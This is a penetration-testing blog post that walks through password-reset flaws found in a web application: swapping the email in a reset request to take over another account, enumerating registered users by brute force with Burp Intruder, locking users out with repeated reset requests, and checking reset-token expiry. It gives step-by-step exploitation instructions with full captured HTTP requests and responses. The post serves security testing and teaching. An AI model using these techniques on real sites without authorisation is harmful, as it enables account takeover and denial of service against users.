Some quick checks to do in the password reset implementation during a pentest

March 3, 2018

Hello and welcome everyone to this new post from ENCIPHERS. Passwords are the first line of defense against any security attack. You must have already been told to use a hard and long password containing different kinds of characters. Password policies are also implemented so that the user is bound to follow these rules. But most of the times, the developers, and the testers miss one important thing to test thoroughly, and that is the Password Reset or Forgot Password functionality.

Yes, and in some of the recent pentests our team found a whole lot of vulnerabilities in the Password reset implementation of a web application. I will be discussing some of them in this post and the different steps and tools we used to find those issues. So let’s start then.

  • Broken Authentication in Reset password
  • This was one of the most critical issues and was given a P1 priority. Through this vulnerability, an attacker could change any other user’s password without his/her knowledge through the Password Reset functionality. The attacker could use the “/passwordreset” API endpoint and change the password of any account with just the knowledge of email address.
  • Steps:
  • First, we raised a password reset request for our account say abc@gmail.com from forgot password link https://www.xyz.com/password.
  • Capture this request in Burpsuite and just change the email to another valid email say xyz@gmail.com
  • Hit the Go button and see the Response. The password of the other account was changed to your previous password successfully.

This was the Request.
Request

POST /passwordreset HTTP/1.1
Host: http://www.xyz.com
User-Agent: Mozilla/5.0 (X11; Linux i686 on x86_64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.xyz.com/recover/confirmEmail
Content-Type: application/json
X-Requested-With: true
Content-Length: 63
Cookie: session_guid=s%3As9hwB7YRvUuu0ZrtShtc1K994uINRPHW.mWdj5EBB5y%2BF8hZGQK52g5BrOkbuM0QujoT4HVlns8M
Connection: close

{“email”:”abc@gmail.com”,”password”:”aH6D=&@p3@”}

This was the original Request. We just changed the email value to other valid email and we got the below Response. So we change the email in the above request to xyz@gmail.com and send the request. You are able to change the password of xyz user as shown in the Response below.
Response

HTTP/1.1 200 OK
Server: nginx/1.11.8
Date: Wed, 24 Jan 2018 21:27:52 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 32
Connection: close
X-DNS-Prefetch-Control: off
X-Frame-Options: DENY
Strict-Transport-Security: max-age=7776000000; includeSubDomains
X-Download-Options: noopen
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Vary: X-HTTP-Method-Override, Accept-Encoding
ETag: W/"20-ji/kkxAvLqkafQZ/AmvRSPoi2nc"

{“redirect”:”/?account=recover”}

- Reset password list can be intruded to get a list of registered users

This was a P3 priority issue but this issue along with the first issue could be used as a full fledged attack which will compromise the user account totally.
The Forgot password url did not impose any restriction in number of requests being sent from a user. A hacker could make use of this and test for numerous email address which will result in sending reset password email to registered users.

The Forgot password redirected to recover page if user was registered otherwise it redirected to login page with not registered message which can be used to guess which emails are registered.

Sample Request and Response for a registered Email id:
Request:

GET /passwordreset/request?email=risabh%2enandwani@gmail%2ecom&g-recaptcha-

response=03AA7ASh3zEWVCZjJiMIWFSs1zrSA-

eiPoARwlgVFWGjZ0QgJMRVAZvV8ipx2q_lGnPN76E1jN6CzIa1pM05SQVc2zVXS21b_kqS0u4XhJW0grAWoujxQ7pArCXyaRbbapKNUD57d

od793eKVcM1MRliiCMg16m3Rf8Hrc4q9G_bST5ynYQdjfLZdZs-

oVhdA7WrPlmVJl8HTXSsAvjt4mQ5wR7brYch0i1U802ECRnDDpYC8Rcs1Hqfg3DZJ9cDv2BNRqRZ1gQMezvhhDhrBCx5r9SgD9NFCbZHWSh

KYygugGh76aiWWsZ1tSegFFmY0hP2ITV-t4hKmOUxo7GvXyMENaR-JFbsd22hz-UyHSauT5a5zETqy5e1-

ZgG7QVETsDcnT6Nw7Pa8RVKOkSU8AQ90Ujg_Kv7cdIg&action= HTTP/1.1

Host: http://www.xyz.com

User-Agent: Mozilla/5.0 (X11; Linux i686 on x86_64; rv:57.0) Gecko/20100101 Firefox/57.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://www.xyz.com/password

Connection: close

Upgrade-Insecure-Requests: 1

Response:

HTTP/1.1 302 Found
Server: nginx/1.11.8
Date: Mon, 22 Jan 2018 09:32:30 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 62
Connection: close
X-DNS-Prefetch-Control: off
X-Frame-Options: DENY
Strict-Transport-Security: max-age=7776000000; includeSubDomains
X-Download-Options: noopen
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Location: /?recoverVary: Accept, Accept-Encoding
  • Found. Redirecting to /?recover
  • Now just think for a moment. If the application isn’t using any restrictions on the number of attempts here, a hacker can simply use the Intruder in Burpsuite and do a brute force attack to know which users have registered email addresses. Now, this attack can then be further used for the attack we discussed in the first example to change the password of that account which will then totally compromise that account whether it be a user or an admin.
  • Denial of Service
  • Now, this was kind of a vulnerability which will definitely create problems for the registered users.
    What it means is that if a password reset request is raised for any account, that account holder cannot login to his old account unless he resets his/her password through that link.
    It can be used to temporarily revoke the access of a user.
    Steps:
  • Just raised a password reset request for another email id obtained through the Example 2.
  • The reset link will be sent to the user but if the user doesn’t check the mail, he/she won’t be able to login to the application through previous details.
  • If the user resets his password, the attacker can again send a password reset request and keep on sending them which will then totally deny access to the user.
  • This was the Request and Response for a valid user.

Request:

POST /auth/local HTTP/1.1
Host: http://www.xyz.com
User-Agent: Mozilla/5.0 (X11; Linux i686 on x86_64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.xyz.com/
Content-Type: application/json
X-Requested-With: true
Content-Length: 55
Cookie: session_guid=s%3Ag7MHq7gbCo-DYEcINT0ph5A7ZkDvbvFF.VV24NQNxr7Jls0qJQH91lH%2BHq25BTY5xE7JezupoeIQ
Connection: close

{“email”:”risabh.nandwani@gmail.com”,”password”:”aH6D=&@p@1234″}

Response:

HTTP/1.1 200 OK
Server: nginx/1.11.8
Date: Tue, 23 Jan 2018 11:04:40 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 36
Connection: closeX-DNS-Prefetch-Control: off
X-Frame-Options: DENY
Strict-Transport-Security: max-age=7776000000; includeSubDomains
X-Download-Options: noopen
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Vary: X-HTTP-Method-Override, Accept-Encoding
ETag: W/"24-9CvwFGpkVCOkoBhIf3mK/SyHVEk"
  • {“redirect”:”/?account=notverified”}
  • See, after the password reset request was raised, the response we got was account not verified. And it will be like this unless we reset the password through that link.
  • This was a P3 vulnerability but I think you can understand the relation between the 3 examples and how one can lead to getting the other.
  • Token used in Password Reset link
  • Password reset test should be tested thoroughly else even one mistake may allow an attacker to take over the whole user account by changing his/her password.
  • Steps:
  • Let’s say the target is http://www.xyz.com. Send a password reset request for a normal user at http://www.xyz.com/password.
  • Check your mail. In our case, the token was written in the link simply. Something like this:https://www.xyz.com/#/forgotpassword?token=7f72b80d-c323-48dc-bda0-cf49e6f574c2
  • Now the things we need to check here, first of all, is the token expiration.
    Just suppose that this link doesn’t get expired after one use, then if the person could somehow get access to the user’s mail, he/she can then reset the password through this link again and take over the account.
  • Many times, it may happen that the token used maybe is just an integer. In that case, you will need to send several different requests to check how the algorithm works and if the token is random all the times.
  • So testing of tokens is an integral part of the testing for password reset functionality.

This was all we wanted to discuss in this post. This post will help you understand these things practically which will then allow you to use these methods for password reset testing. We hope you understood most of the things in this post. In any case, if you are a seasoned bug bounty hunter or penetration tester and you have other different methods to test for password reset testing, please comment below or write to us. We will make sure to add them in this post for our readers. Thanks and happy hacking everyone.:)